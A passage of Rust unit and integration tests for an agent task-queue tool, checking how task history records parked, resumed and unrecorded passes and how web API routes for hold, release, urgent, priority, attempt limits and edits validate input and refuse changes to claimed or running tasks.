15904 f.edges[1].label.contains("resume the same run"),
15905 "{}",
15906 f.edges[1].label
15907 );
15908 assert_eq!(f.nodes[1].note, Some("parked"));
15909 }
15910
15911 #[test]
15912 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
15913 let mut a = flow_run(RunStatus::Implementing, |s| {
15914 s.passes = vec![
15915 recorded_pass(0, parked(upgrade_cause())),
15916 recorded_pass(1, None),
15917 ];
15918 });
15919 let mut b = flow_run(RunStatus::Failed, |s| {
15920 s.passes = vec![recorded_pass(0, None)];
15921 });
15922 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
15923 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
15924 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
15925 let mut task = flow_task(&[]);
15926 task.start("a".into());
15927 task.start("b".into());
15928 task.start("a".into());
15929 assert_eq!(task.runs, ["b", "a"]);
15930 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
15931 let h = task_history(&task, |id| {
15932 Some(if id == "a" { a.clone() } else { b.clone() })
15933 });
15934 assert_eq!(
15935 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
15936 ["a", "b", "a"]
15937 );
15938 assert_eq!(h[0].attempt, AttemptCost::Refunded);
15939 assert!(h[0].outcome.contains("upgrade"));
15940 assert_eq!(h[2].kind, "resume");
15941 assert!(h[2].pass.is_some());
15942 task.runs = vec!["a".into(), "b".into(), "a".into()];
15944 let old = task_history(&task, |id| {
15945 Some(if id == "a" { a.clone() } else { b.clone() })
15946 });
15947 assert_eq!(
15948 old.iter()
15949 .map(|v| (&v.id, &v.kind, v.attempt))
15950 .collect::<Vec<_>>(),
15951 h.iter()
15952 .map(|v| (&v.id, &v.kind, v.attempt))
15953 .collect::<Vec<_>>()
15954 );
15955 }
15956
15957 #[test]
15958 fn an_upgrade_whose_target_was_not_known_says_so() {
15959 let run = flow_run(RunStatus::Implementing, |s| {
15960 s.passes = vec![
15961 recorded_pass(
15962 0,
15963 parked(crate::run::ParkCause::Upgrade {
15964 from: "0.121.0".to_owned(),
15965 to: None,
15966 }),
15967 ),
15968 recorded_pass(1, None),
15969 ];
15970 });
15971 let task = flow_task(&[RUN_X, RUN_X]);
15972 let h = task_history(&task, |_| Some(run.clone()));
15973 assert!(
15974 h[0].outcome.contains("upgrade from 0.121.0"),
15975 "{}",
15976 h[0].outcome
15977 );
15978 assert_eq!(h[0].attempt, AttemptCost::Unknown);
15980 }
15981
15982 #[test]
15983 fn each_pass_keeps_its_own_cause_across_several_resumes() {
15984 use crate::queue::PassCost;
15985 use crate::run::ParkCause;
15986 let run = flow_run(RunStatus::Implementing, |s| {
15987 s.passes = vec![
15988 recorded_pass(0, parked(upgrade_cause())),
15989 recorded_pass(
15990 1,
15991 parked(ParkCause::Interrupt {
15992 reason: "task a1b2 asked to run first".to_owned(),
15993 }),
15994 ),
15995 recorded_pass(2, parked(ParkCause::Operator)),
15996 recorded_pass(3, None),
15997 ];
15998 });
15999 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
16000 task.attempts = 1;
16001 task.passes = (0..3)
16002 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
16003 .collect();
16004 let h = task_history(&task, |_| Some(run.clone()));
16005 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16006 assert!(
16007 h[1].outcome.contains("task a1b2 asked to run first"),
16008 "{}",
16009 h[1].outcome
16010 );
16011 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
16012 assert!(
16013 h[2].outcome.contains("operator asked the loop to park"),
16014 "{}",
16015 h[2].outcome
16016 );
16017 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
16018 let f = task_flow(&task, &h, 2, None);
16019 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
16020 }
16021
16022 #[test]
16023 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16024 let run = flow_run(RunStatus::Implementing, |s| {
16025 s.passes = vec![
16026 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16027 recorded_pass(1, None),
16028 ];
16029 });
16030 let task = flow_task(&[RUN_X, RUN_X]);
16031 let h = task_history(&task, |_| Some(run.clone()));
16032 assert_eq!(h[0].exit, RunExit::Interrupted);
16033 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16034 assert!(
16035 h[0].outcome.contains("without recording why"),
16036 "{}",
16037 h[0].outcome
16038 );
16039 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16040 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16041 }
16042
16043 #[test]
16044 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
16045 use crate::queue::PassCost;
16046 let run = flow_run(RunStatus::Implementing, |s| {
16049 s.passes = vec![
16050 recorded_pass(0, parked(upgrade_cause())),
16051 recorded_pass(1, None),
16052 ];
16053 });
16054 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
16055 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16056 let h = task_history(&task, |_| Some(run.clone()));
16057 assert!(h[0].pass.is_none());
16058 assert_eq!(h[0].exit, RunExit::Interrupted);
16059 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16060 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16061 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16062 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
16063 let legacy = flow_run(RunStatus::Implementing, |_| {});
16065 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
16066 assert!(h.iter().all(|v| v.pass.is_none()));
16067 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16068 }
16069
16070 #[test]
16071 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
16072 use crate::queue::PassCost;
16073 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
16076 web.task_entry = false;
16077 let run = flow_run(RunStatus::Implementing, |s| {
16078 s.passes = vec![
16079 recorded_pass(0, parked(upgrade_cause())),
16080 web.clone(),
16081 recorded_pass(2, None),
16082 ];
16083 });
16084 let mut task = flow_task(&[RUN_X, RUN_X]);
16085 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16086 let h = task_history(&task, |_| Some(run.clone()));
16087 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16088 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
16089
16090 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
16093 web0.task_entry = false;
16094 let run = flow_run(RunStatus::Implementing, |s| {
16095 s.passes = vec![web0.clone(), recorded_pass(1, None)];
16096 });
16097 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
16098 assert!(h[0].pass.is_none());
16099 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16100 assert!(h[1].pass.is_some());
16101 }
16102
16103 #[tokio::test]
16104 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
16105 let dir = tempfile::tempdir().unwrap();
16106 let queue = Queue::at(dir.path().join("queue"));
16107 let ui = Arc::new(Ui::new(
16108 queue.clone(),
16109 Questions::at(dir.path().join("questions")),
16110 Talks::at(dir.path().join("talks")),
16111 dir.path().join("runs"),
16112 dir.path().to_path_buf(),
16113 dir.path().to_path_buf(),
16114 ));
16115 let mut t = Task::new(
16116 "recover".into(),
16117 "Inspect".into(),
16118 PathBuf::from("."),
16119 Source::Human,
16120 );
16121 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
16122 t.start("run-A".into());
16123 t.release_operator("choice", Some("resume-question"));
16124 t.resume_override = Some(crate::queue::OperatorResume {
16125 question_id: "resume-question".into(),
16126 at: jiff::Timestamp::now(),
16127 conductor_rehold: None,
16128 forced: true,
16129 pinned_run: Some("run-A".into()),
16130 });
16131 t.hold_machine(Some("inspection pending".into()));
16132 t.edit("recover".into(), "Reuse approved PR head".into())
16133 .unwrap();
16134 queue.put(&mut t).unwrap();
16135 let mut cli = t.clone();
16136 cli.release_operator("cli", None);
16137 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
16138 let reloaded = queue.get(&t.id).unwrap();
16139 assert_eq!(reply.task.status, TaskStatus::Queued);
16140 assert!(reloaded.resume_override.is_none());
16141 assert_eq!(reloaded.answers, t.answers);
16142 let mut web = reloaded.resumption.unwrap();
16143 let cli = cli.resumption.unwrap();
16144 assert_eq!(web.source, "web");
16145 web.source = cli.source.clone();
16146 web.at = cli.at;
16147 assert_eq!(web, cli);
16148 }
16149
16150 #[tokio::test]
16151 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
16152 let f = Fixture::start().await;
16153 let queue = f.queue();
16154 let mut task = Task::new(
16155 "spent".to_owned(),
16156 "Try again".to_owned(),
16157 PathBuf::from("/repo/magi"),
16158 Source::Human,
16159 );
16160 task.start("20260902-140502-bbbb".to_owned());
16161 task.fail("agent gave up", 9);
16162 queue.put(&mut task).expect("file the task");
16163
16164 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16165 assert_eq!(held.status, 200);
16166 assert_eq!(held.json()["status_str"], "held");
16167
16168 let released = f
16169 .post(&format!("/api/queue/{}/release", task.id), None)
16170 .await;
16171 assert_eq!(released.status, 200);
16172 assert_eq!(released.json()["status_str"], "queued");
16173 assert_eq!(released.json()["resumption"]["source"], "web");
16174 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
16175 let mut cli = task.clone();
16176 cli.release_operator("cli", None);
16177 let web = queue.get(&task.id).unwrap().resumption.unwrap();
16178 let cli = cli.resumption.unwrap();
16179 assert_eq!(web.instruction, cli.instruction);
16180 assert_eq!(web.answers_through, cli.answers_through);
16181 assert_eq!(web.runs_through, cli.runs_through);
16182 assert_eq!(web.cleared_reason, cli.cleared_reason);
16183 assert_eq!(
16184 released.json()["attempts"],
16185 0,
16186 "release is a real second chance, not an instant re-hold"
16187 );
16188 assert_eq!(
16189 queue.get(&task.id).expect("reload").status,
16190 TaskStatus::Queued,
16191 "the change is on disk, not only in the reply"
16192 );
16193 assert!(
16194 !f.home
16195 .path()
16196 .join("queue")
16197 .join(format!("{}.lock", task.id))
16198 .exists(),
16199 "the claim the mutation took is released again"
16200 );
16201 }
16202
16203 #[tokio::test]
16204 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
16205 let f = Fixture::start().await;
16206 let queue = f.queue();
16207 let mut task = Task::new(
16208 "busy".to_owned(),
16209 "Running right now".to_owned(),
16210 PathBuf::from("/repo/magi"),
16211 Source::Human,
16212 );
16213 queue.put(&mut task).expect("file the task");
16214 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16215
16216 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16217
16218 assert_eq!(res.status, 409);
16219 assert_eq!(
16220 queue.get(&task.id).expect("reload").status,
16221 TaskStatus::Queued,
16222 "the refused hold changed nothing"
16223 );
16224 }
16225
16226 #[tokio::test]
16227 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
16228 let f = Fixture::start().await;
16229 let queue = f.queue();
16230 let mut task = Task::new(
16231 "waiting on the migration".to_owned(),
16232 "Do the thing".to_owned(),
16233 PathBuf::from("/repo/magi"),
16234 Source::Human,
16235 );
16236 queue.put(&mut task).expect("file the task");
16237
16238 let held = f
16239 .post(
16240 &format!("/api/queue/{}/hold", task.id),
16241 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
16242 )
16243 .await;
16244 assert_eq!(held.status, 200, "{}", held.body);
16245 assert_eq!(held.json()["status_str"], "held");
16246 assert_eq!(
16247 held.json()["hold_reason"],
16248 "waiting for 20260101-000000-aaaa to land"
16249 );
16250
16251 let listed = f.get("/api/queue").await.json();
16252 assert_eq!(
16253 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
16254 "the card reads the reason off the same list route"
16255 );
16256
16257 let mut plain = Task::new(
16260 "no reason given".to_owned(),
16261 "Do another thing".to_owned(),
16262 PathBuf::from("/repo/magi"),
16263 Source::Human,
16264 );
16265 queue.put(&mut plain).expect("file the task");
16266 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
16267 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
16268 assert!(held_plain.json()["hold_reason"].is_null());
16269
16270 let released = f
16271 .post(&format!("/api/queue/{}/release", task.id), None)
16272 .await;
16273 assert_eq!(released.status, 200);
16274 assert!(
16275 released.json()["hold_reason"].is_null(),
16276 "a release must clear the reason so the next hold does not inherit it"
16277 );
16278 }
16279
16280 #[test]
16281 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
16282 for urgent in [true, false] {
16283 let body: UrgentBody =
16284 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
16285 assert_eq!(body.urgent, urgent);
16286 }
16287 for input in [
16288 r#"{}"#,
16289 r#"{"urgent":null}"#,
16290 r#"{"urgent":"true"}"#,
16291 r#"{"urgent":1}"#,
16292 r#"{"urgent":true,"extra":false}"#,
16293 ] {
16294 assert!(
16295 serde_json::from_str::<UrgentBody>(input).is_err(),
16296 "{input}"
16297 );
16298 }
16299 }
16300
16301 #[tokio::test]
16302 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
16303 let home = TempDir::new().unwrap();
16304 let q = Queue::at(home.path().join("queue"));
16305 let ui = Arc::new(Ui::new(
16306 q.clone(),
16307 Questions::at(home.path().join("questions")),
16308 Talks::at(home.path().join("talks")),
16309 home.path().join("runs"),
16310 home.path().into(),
16311 home.path().into(),
16312 ));
16313 let mut task = Task::new(
16314 "urgent handler".into(),
16315 "keep".into(),
16316 home.path().into(),
16317 Source::Human,
16318 );
16319 for status in [TaskStatus::Queued, TaskStatus::Held] {
16320 task.status = status;
16321 q.put(&mut task).unwrap();
16322 for urgent in [true, true, false, false] {
16323 let saved = queue_urgent(
16324 State(Arc::clone(&ui)),
16325 Path(task.short().into()),
16326 Ok(Json(UrgentBody { urgent })),
16327 )
16328 .await
16329 .unwrap();
16330 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
16331 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
16332 }
16333 }
16334 task.status = TaskStatus::Queued;
16335 q.put(&mut task).unwrap();
16336 let claim = q.claim(&task.id).unwrap();
16337 let error = queue_urgent(
16338 State(Arc::clone(&ui)),
16339 Path(task.id.clone()),
16340 Ok(Json(UrgentBody { urgent: true })),
16341 )
16342 .await
16343 .unwrap_err();
16344 assert_eq!(error.status, StatusCode::CONFLICT);
16345 assert!(error.message.contains("released"));
16346 drop(claim);
16347 for status in [
16348 TaskStatus::Running,
16349 TaskStatus::Done,
16350 TaskStatus::Failed,
16351 TaskStatus::Blocked,
16352 TaskStatus::Parked,
16353 ] {
16354 task.status = status;
16355 q.put(&mut task).unwrap();
16356 let error = queue_urgent(
16357 State(Arc::clone(&ui)),
16358 Path(task.id.clone()),
16359 Ok(Json(UrgentBody { urgent: false })),
16360 )
16361 .await
16362 .unwrap_err();
16363 assert_eq!(error.status, StatusCode::BAD_REQUEST);
16364 assert!(error.message.contains(status.as_str()));
16365 }
16366 }
16367
16368 #[tokio::test]
16369 async fn urgent_api_updates_preserves_and_validates_tasks() {
16370 let f = Fixture::start().await;
16371 let q = f.queue();
16372 let mut t = Task::new(
16373 "urgent API".into(),
16374 "unchanged".into(),
16375 PathBuf::from("/repo/magi"),
16376 Source::Human,
16377 );
16378 t.attempts = 2;
16379 t.priority = 9;
16380 t.interrupt = true;
16381 t.hold_reason = Some("waiting for approval".into());
16382 for status in [TaskStatus::Queued, TaskStatus::Held] {
16383 t.status = status;
16384 q.put(&mut t).unwrap();
16385 for urgent in [true, true, false, false] {
16386 let response = f
16387 .post(
16388 &format!("/api/queue/{}/urgent", t.short()),
16389 Some(&format!("{{\"urgent\":{urgent}}}")),
16390 )
16391 .await;
16392 assert_eq!(response.status, 200, "{}", response.body);
16393 assert_eq!(response.json()["urgent"], urgent);
16394 let saved = q.get(&t.id).unwrap();
16395 let mut before = serde_json::to_value(&t).unwrap();
16396 let mut after = serde_json::to_value(saved).unwrap();
16397 before["urgent"] = urgent.into();
16398 before.as_object_mut().unwrap().remove("updated_at");
16399 after.as_object_mut().unwrap().remove("updated_at");
16400 assert_eq!(after, before);
16401 }
16402 }
16403 let route = format!("/api/queue/{}/urgent", t.id);
16404 for body in [
16405 r#"{}"#,
16406 r#"{"urgent":null}"#,
16407 r#"{"urgent":"true"}"#,
16408 r#"{"urgent":1}"#,
16409 r#"{"urgent":true,"extra":false}"#,
16410 "{",
16411 ] {
16412 assert_eq!(f.post(&route, Some(body)).await.status, 400);
16413 }
16414 t.status = TaskStatus::Queued;
16415 q.put(&mut t).unwrap();
16416 let claim = q.claim(&t.id).unwrap();
16417 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
16418 assert_eq!(response.status, 409, "{}", response.body);
16419 assert!(!q.get(&t.id).unwrap().urgent);
16420 drop(claim);
16421 for status in [
16422 TaskStatus::Running,
16423 TaskStatus::Done,
16424 TaskStatus::Failed,
16425 TaskStatus::Blocked,
16426 TaskStatus::Parked,
16427 ] {
16428 t.status = status;
16429 q.put(&mut t).unwrap();
16430 for urgent in [true, false] {
16431 let response = f
16432 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
16433 .await;
16434 assert_eq!(response.status, 400, "{}", response.body);
16435 assert!(response.body.contains(status.as_str()));
16436 assert!(response.body.contains("queued or held"));
16437 assert!(!q.get(&t.id).unwrap().urgent);
16438 }
16439 }
16440 assert_eq!(
16441 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
16442 .await
16443 .status,
16444 404
16445 );
16446 }
16447
16448 #[tokio::test]
16449 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
16450 let f = Fixture::start().await;
16451 let queue = f.queue();
16452 let mut older = Task::new(
16453 "filed first".to_owned(),
16454 "x".to_owned(),
16455 PathBuf::from("/repo/magi"),
16456 Source::Human,
16457 );
16458 older.id = "20260101-000001-aaaa".to_owned();
16459 let mut newer = Task::new(
16460 "filed second".to_owned(),
16461 "x".to_owned(),
16462 PathBuf::from("/repo/magi"),
16463 Source::Human,
16464 );
16465 newer.id = "20260101-000002-bbbb".to_owned();
16466 queue.put(&mut older).expect("file older");
16467 queue.put(&mut newer).expect("file newer");
16468
16469 let before = f.get("/api/queue").await.json();
16472 assert_eq!(before[0]["id"], newer.id);
16473 assert_eq!(before[1]["id"], older.id);
16474
16475 let raised = f
16479 .post(
16480 &format!("/api/queue/{}/priority", older.id),
16481 Some(r#"{"priority":10}"#),
16482 )
16483 .await;
16484 assert_eq!(raised.status, 200, "{}", raised.body);
16485 assert_eq!(raised.json()["priority"], 10);
16486
16487 let after = f.get("/api/queue").await.json();
16488 let names: Vec<&str> = after
16489 .as_array()
16490 .unwrap()
16491 .iter()
16492 .map(|t| t["id"].as_str().unwrap())
16493 .collect();
16494 assert_eq!(names[0], older.id, "the raised task now sorts first");
16498 }
16499
16500 #[tokio::test]
16501 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
16502 let dir = TempDir::new().unwrap();
16503 let q = Queue::at(dir.path().join("queue"));
16504 let ui = Arc::new(Ui::new(
16505 q.clone(),
16506 Questions::at(dir.path().join("questions")),
16507 Talks::at(dir.path().join("talks")),
16508 dir.path().join("runs"),
16509 dir.path().to_path_buf(),
16510 dir.path().to_path_buf(),
16511 ));
16512 let mut t = Task::new(
16513 "budget".into(),
16514 "keep".into(),
16515 dir.path().into(),
16516 Source::Human,
16517 );
16518 t.attempts = 2;
16519 t.runs.push("prior-run".into());
16520 t.hold_manual(Some("waiting".into()));
16521 q.put(&mut t).unwrap();
16522 let change = |value| {
16523 queue_attempt_limit(
16524 State(ui.clone()),
16525 Path(t.id.clone()),
16526 Ok(Json(AttemptLimitBody {
16527 attempt_limit: value,
16528 })),
16529 )
16530 };
16531 for value in [
16532 serde_json::json!(3),
16533 serde_json::Value::Null,
16534 serde_json::json!(1),
16535 ] {
16536 let response = change(value.clone()).await.unwrap();
16537 assert_eq!(
16538 serde_json::to_value(response.0).unwrap()["attempt_limit"],
16539 value
16540 );
16541 let saved = q.get(&t.id).unwrap();
16542 assert_eq!(
16543 serde_json::to_value(&saved).unwrap()["attempt_limit"],
16544 value
16545 );
16546 assert_eq!(saved.status, TaskStatus::Held);
16547 assert_eq!(saved.attempts, t.attempts);
16548 assert_eq!(saved.runs, t.runs);
16549 assert_eq!(saved.hold_reason, t.hold_reason);
16550 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
16551 .await
16552 .unwrap()
16553 .0;
16554 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
16555 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
16556 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
16557 assert_eq!(outcome.max_attempts, detail.max_attempts);
16558 }
16559 for value in [
16560 serde_json::json!(0),
16561 serde_json::json!(-1),
16562 serde_json::json!(1.5),
16563 serde_json::json!("3"),
16564 serde_json::json!(true),
16565 ] {
16566 assert_eq!(
16567 change(value).await.err().unwrap().status,
16568 StatusCode::BAD_REQUEST
16569 );
16570 }
16571 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
16572 let claim = q.claim(&t.id).unwrap();
16573 assert_eq!(
16574 change(serde_json::json!(4)).await.err().unwrap().status,
16575 StatusCode::CONFLICT
16576 );
16577 drop(claim);
16578 for status in [
16579 TaskStatus::Running,
16580 TaskStatus::Done,
16581 TaskStatus::Failed,
16582 TaskStatus::Blocked,
16583 TaskStatus::Parked,
16584 ] {
16585 let mut stored = q.get(&t.id).unwrap();
16586 stored.status = status;
16587 q.put(&mut stored).unwrap();
16588 assert_eq!(
16589 change(serde_json::json!(4)).await.err().unwrap().status,
16590 StatusCode::BAD_REQUEST
16591 );
16592 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
16593 }
16594 let mut stored = q.get(&t.id).unwrap();
16595 stored.status = TaskStatus::Queued;
16596 q.put(&mut stored).unwrap();
16597 let _ = change(serde_json::Value::Null).await.unwrap();
16598 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
16599 }
16600
16601 #[tokio::test]
16602 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
16603 let dir = TempDir::new().unwrap();
16604 let repo = dir.path().join("repo");
16605 std::fs::create_dir(&repo).unwrap();
16606 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
16607 let q = Queue::at(dir.path().join("queue"));
16608 let ui = Arc::new(Ui::new(
16609 q.clone(),
16610 Questions::at(dir.path().join("questions")),
16611 Talks::at(dir.path().join("talks")),
16612 dir.path().join("runs"),
16613 dir.path().to_path_buf(),
16614 repo.clone(),
16615 ));
16616 let mut t = Task::new(
16617 "seats".into(),
16618 "keep instruction".into(),
16619 repo,
16620 Source::Human,
16621 );
16622 t.runs.push("prior-run".into());
16623 t.hold_manual(Some("waiting".into()));
16624 q.put(&mut t).unwrap();
16625 let change = |count| {
16626 queue_implementers(
16627 State(ui.clone()),
16628 Path(t.id.clone()),
16629 Ok(Json(ImplementersBody {
16630 implementers: count,
16631 })),
16632 )
16633 };
16634 for count in [2, 1, 2] {
16635 let response = change(count).await.unwrap();
16636 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
16637 let saved = q.get(&t.id).unwrap();
16638 assert_eq!(saved.implementers(), Some(usize::from(count)));
16639 assert_eq!(saved.runs, t.runs);
16640 assert_eq!(saved.instruction, t.instruction);
16641 }
16642 for count in [0, 4] {
16643 assert_eq!(
16644 change(count).await.err().unwrap().status,
16645 StatusCode::BAD_REQUEST
16646 );
16647 }
16648 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
16649 let claim = q.claim(&t.id).unwrap();
16650 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
16651 drop(claim);
16652 for status in [
16653 TaskStatus::Running,
16654 TaskStatus::Done,
16655 TaskStatus::Failed,
16656 TaskStatus::Blocked,
16657 TaskStatus::Parked,
16658 ] {
16659 let mut stored = q.get(&t.id).unwrap();
16660 stored.status = status;
16661 q.put(&mut stored).unwrap();
16662 assert_eq!(
16663 change(1).await.err().unwrap().status,
16664 StatusCode::BAD_REQUEST
16665 );
16666 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
16667 }
16668 }
16669
16670 #[tokio::test]
16671 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
16672 let f = Fixture::start().await;
16673 let queue = f.queue();
16674 let mut task = Task::new(
16675 "in flight".to_owned(),
16676 "x".to_owned(),
16677 PathBuf::from("/repo/magi"),
16678 Source::Human,
16679 );
16680 task.start("20260902-140502-bbbb".to_owned());
16681 queue.put(&mut task).expect("file the task");
16682
16683 let res = f
16684 .post(
16685 &format!("/api/queue/{}/priority", task.id),
16686 Some(r#"{"priority":9}"#),
16687 )
16688 .await;
16689 assert_eq!(res.status, 400, "{}", res.body);
16690 assert!(
16691 res.json()["error"]
16692 .as_str()
16693 .is_some_and(|e| e.contains("running")),
16694 "{}",
16695 res.body
16696 );
16697 assert_eq!(
16698 queue.get(&task.id).expect("reload").priority,
16699 0,
16700 "the refused write must not partially apply"
16701 );
16702 }
16703
16704 #[tokio::test]
16705 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
16706 let f = Fixture::start().await;
16707 let queue = f.queue();
16708 let mut task = Task::new(
16709 "old title".to_owned(),
16710 "old instruction".to_owned(),
16711 PathBuf::from("/repo/magi"),
16712 Source::Agent {
16713 run: "20260101-000000-beef".to_owned(),
16714 node: "implement".to_owned(),
16715 },
16716 );
16717 task.runs.push("20260101-000000-beef".to_owned());
16718 queue.put(&mut task).expect("file the task");
16719 let created_at = task.created_at;
16720
16721 let edited = f
16722 .post(
16723 &format!("/api/queue/{}/edit", task.id),
16724 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
16725 )
16726 .await;
16727 assert_eq!(edited.status, 200, "{}", edited.body);
16728 let body = edited.json();
16729 assert_eq!(body["title"], "new title");
16730 assert_eq!(body["instruction"], "new instruction");
16731 assert_eq!(body["id"], task.id, "editing must not mint a new id");
16732 assert_eq!(body["created_at"], created_at.to_string());
16733 assert_eq!(
16734 body["source"]["kind"], "agent",
16735 "editing a task an agent filed must not turn it human: {body}"
16736 );
16737 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
16738
16739 let reloaded = queue.get(&task.id).expect("reload");
16740 assert_eq!(reloaded.title, "new title");
16741 assert_eq!(reloaded.instruction, "new instruction");
16742 }
16743
16744 #[tokio::test]
16745 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
16746 let tmp = TempDir::new().expect("tempdir");
16749 let repo = tmp.path().join("repo");
16750 std::fs::create_dir_all(&repo).expect("repo dir");
16751 let judge = MOCK_AGENT_TOML.replace(
16752 "printf ok",
16753 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
16754 );
16755 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
16756 let f = Fixture::with_repo(repo.clone()).await;
16757 let queue = f.queue();
16758 let mut owner = Task::new(
16759 "owner".to_owned(),
16760 "review it".to_owned(),
16761 repo.clone(),
16762 Source::Human,
16763 );
16764 owner.review_branch = Some("magi/ab12/A".to_owned());
16765 queue.put(&mut owner).expect("file the owner");
16766 let mut task = Task::new(
16767 "draft".to_owned(),
16768 "old".to_owned(),
16769 repo.clone(),
16770 Source::Human,
16771 );
16772 queue.put(&mut task).expect("file the draft");
16773 let url = format!("/api/queue/{}/edit", task.id);
16774
16775 let refused = f
16776 .post(
16777 &url,
16778 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
16779 )
16780 .await;
16781 assert_eq!(refused.status, 409, "{}", refused.body);
16782 let msg = refused.json()["error"]
16783 .as_str()
16784 .unwrap_or_default()
16785 .to_owned();
16786 assert!(
16787 msg.contains("magi/ab12/A") && msg.contains("force"),
16788 "{msg}"
16789 );
16790 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
16791
16792 let forced = f
16793 .post(
16794 &url,
16795 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
16796 )
16797 .await;
16798 assert_eq!(forced.status, 200, "{}", forced.body);
16799 }
16800
16801 #[tokio::test]
16802 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
16803 let f = Fixture::start().await;
16804 let queue = f.queue();
16805 let mut task = Task::new(
16806 "in flight".to_owned(),
16807 "do not touch".to_owned(),
16808 PathBuf::from("/repo/magi"),
16809 Source::Human,
16810 );
16811 task.start("20260902-140502-bbbb".to_owned());
16812 queue.put(&mut task).expect("file the task");
16813
16814 let res = f
16815 .post(
16816 &format!("/api/queue/{}/edit", task.id),
16817 Some(r#"{"title":"x","instruction":"y"}"#),
16818 )
16819 .await;
16820 assert_eq!(res.status, 400, "{}", res.body);
16821 assert!(
16822 res.json()["error"]
16823 .as_str()
16824 .is_some_and(|e| e.contains("running")),
16825 "{}",
16826 res.body
16827 );
16828 assert_eq!(
16829 queue.get(&task.id).expect("reload").instruction,
16830 "do not touch",
16831 "the refused edit must not change the file"
16832 );
16833 }
16834
16835 #[tokio::test]
16836 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
16837 let f = Fixture::start().await;
16838 let queue = f.queue();
